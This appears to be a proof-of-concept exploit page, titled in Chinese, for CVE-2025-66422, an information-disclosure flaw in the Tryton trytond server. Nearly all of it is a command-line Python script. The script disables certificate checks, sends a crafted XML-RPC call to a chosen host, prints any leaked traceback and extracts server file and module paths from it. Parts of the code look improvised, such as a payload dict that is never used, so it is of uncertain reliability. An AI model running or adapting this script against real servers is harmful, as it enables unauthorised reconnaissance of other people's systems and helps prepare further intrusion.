CVE-2025-66422: Tryton trytond 信息泄露漏洞

# CVE-2025-66422 PoC - Information Disclosure in Tryton trytond # This PoC demonstrates how to trigger sensitive traceback information disclosure import xmlrpc.client import ssl import json def exploit_tryton_cve_2025_66422(target_host, target_port=8000): """ Exploit for CVE-2025-66422: Tryton trytond Information Disclosure Target: Tryton trytond server before version 7.6.11 Attack: Trigger detailed traceback information disclosure """ print(f"[*] Targeting Tryton server at {target_host}:{target_port}") # Create XML-RPC connection context = ssl._create_unverified_context() url = f"https://{target_host}:{target_port}" try: # Attempt to connect and trigger error condition # This specific payload is designed to trigger the information disclosure # Step 1: Connect to the server common_proxy = xmlrpc.client.ServerProxy(f"{url}/common", context=context) # Step 2: Trigger the vulnerability by calling with invalid parameters # that cause the server to leak traceback information payload = { 'method': 'common.db_exists', 'params': [''], # Empty database name to trigger error 'id': 1 } print("[*] Sending crafted request to trigger information disclosure...") response = common_proxy.execute('', 1, 'common', 'db_exists', '') except xmlrpc.client.Fault as e: print(f"[!] Server response received:") print(f" Fault code: {e.faultCode}") print(f" Fault string: {e.faultString}") # Check if traceback information is leaked if 'Traceback' in e.faultString or 'File "/' in e.faultString: print("[+] VULNERABLE! Sensitive traceback information disclosed:") print("=" * 60) print(e.faultString) print("=" * 60) # Extract sensitive information extract_sensitive_info(e.faultString) return True else: print("[-] No traceback information leaked in response") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def extract_sensitive_info(traceback_string): """ Extract sensitive information from leaked traceback """ sensitive_data = { 'file_paths': [], 'module_paths': [], 'python_version': None } import re # Extract file paths file_pattern = r'File \"/[^\"]+\"' sensitive_data['file_paths'] = re.findall(file_pattern, traceback_string) # Extract module paths module_pattern = r'/tryton/[a-z_/]+' sensitive_data['module_paths'] = re.findall(module_pattern, traceback_string) print("\n[+] Extracted sensitive information:") print(f" File paths: {sensitive_data['file_paths']}") print(f" Module paths: {sensitive_data['module_paths']}") return sensitive_data # Usage example if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-66422.py <target_host> [port]") print("Example: python cve-2025-66422.py 192.168.1.100 8000") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000 exploit_tryton_cve_2025_66422(target, port)